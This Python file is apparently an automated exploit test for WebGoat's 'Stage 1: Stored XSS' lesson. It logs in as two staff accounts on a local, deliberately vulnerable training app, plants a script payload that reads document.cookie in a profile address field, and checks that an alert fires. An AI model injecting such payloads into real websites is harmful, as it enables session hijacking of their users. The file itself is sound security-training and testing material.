from data.exploits.base.BasicExploit import BasicExploit
from settings import mapped_port_host

class Exploit(BasicExploit):

	attributes = {
	  'Name' :		  'WebGoat_Stage1_StoredXSS',
	  'Description' : "'Stage 1: Stored XSS' example from WebGoat",
	  'References' :  [["EMPTY"]],
	  'Target' :	  "webgoat",
	  'Container': 'ubuntu',
	  'TargetLicense' : '',
	  'Plugin' : '',
	  'VulWikiPage' : "None",
	  'Type' : 'Stored XSS'
	}


	def runExploit(self):
		goat = self.wrapper
		goat.navigate("http://guest:guest@localhost:%s/WebGoat/attack" % mapped_port_host)
		goat.find_name("start").click()
		goat.implicit_wait(5)

		goat.navigate("http://localhost:%s/WebGoat/attack?Screen=33&menu=900&stage=1" % mapped_port_host)

		goat.find_xpath("//select[@name='employee_id']/option[text()='Tom Cat (employee)']", 5).click()
		goat.find_name("password").keys("tom")
		goat.find_name("action").click()

		goat.find_xpath("//select[@name='employee_id']/option[text()='Tom Cat (employee)']", 5).click()
		goat.find_xpath("//input[@value='ViewProfile']").click()
		goat.find_xpath("//input[@value='EditProfile']").click()
		goat.find_name("address1").keys("2211 HyperThread Rd.\"><script>alert('Your session has been stolen: ' + document.cookie)</script>")
		goat.find_xpath("//input[@value='UpdateProfile']").click()

		alert_text = goat.handle_alert()
		self.assertIn("Your session", alert_text)


		goat.find_xpath("//input[@value='Logout']").click()
		goat.find_xpath("//select[@name='employee_id']/option[text()='Jerry Mouse (hr)']", 5).click()
		goat.find_name("password").keys("jerry")
		goat.find_name("action").click()


		goat.find_xpath("//select[@name='employee_id']/option[text()='Jerry Mouse (hr)']", 5).click()
		goat.find_xpath("//select[@name='employee_id']/option[text()='Tom Cat (employee)']", 5).click()
		goat.find_xpath("//input[@value='ViewProfile']").click()

		alert_text = goat.handle_alert()
		self.assertIn("Your session", alert_text)
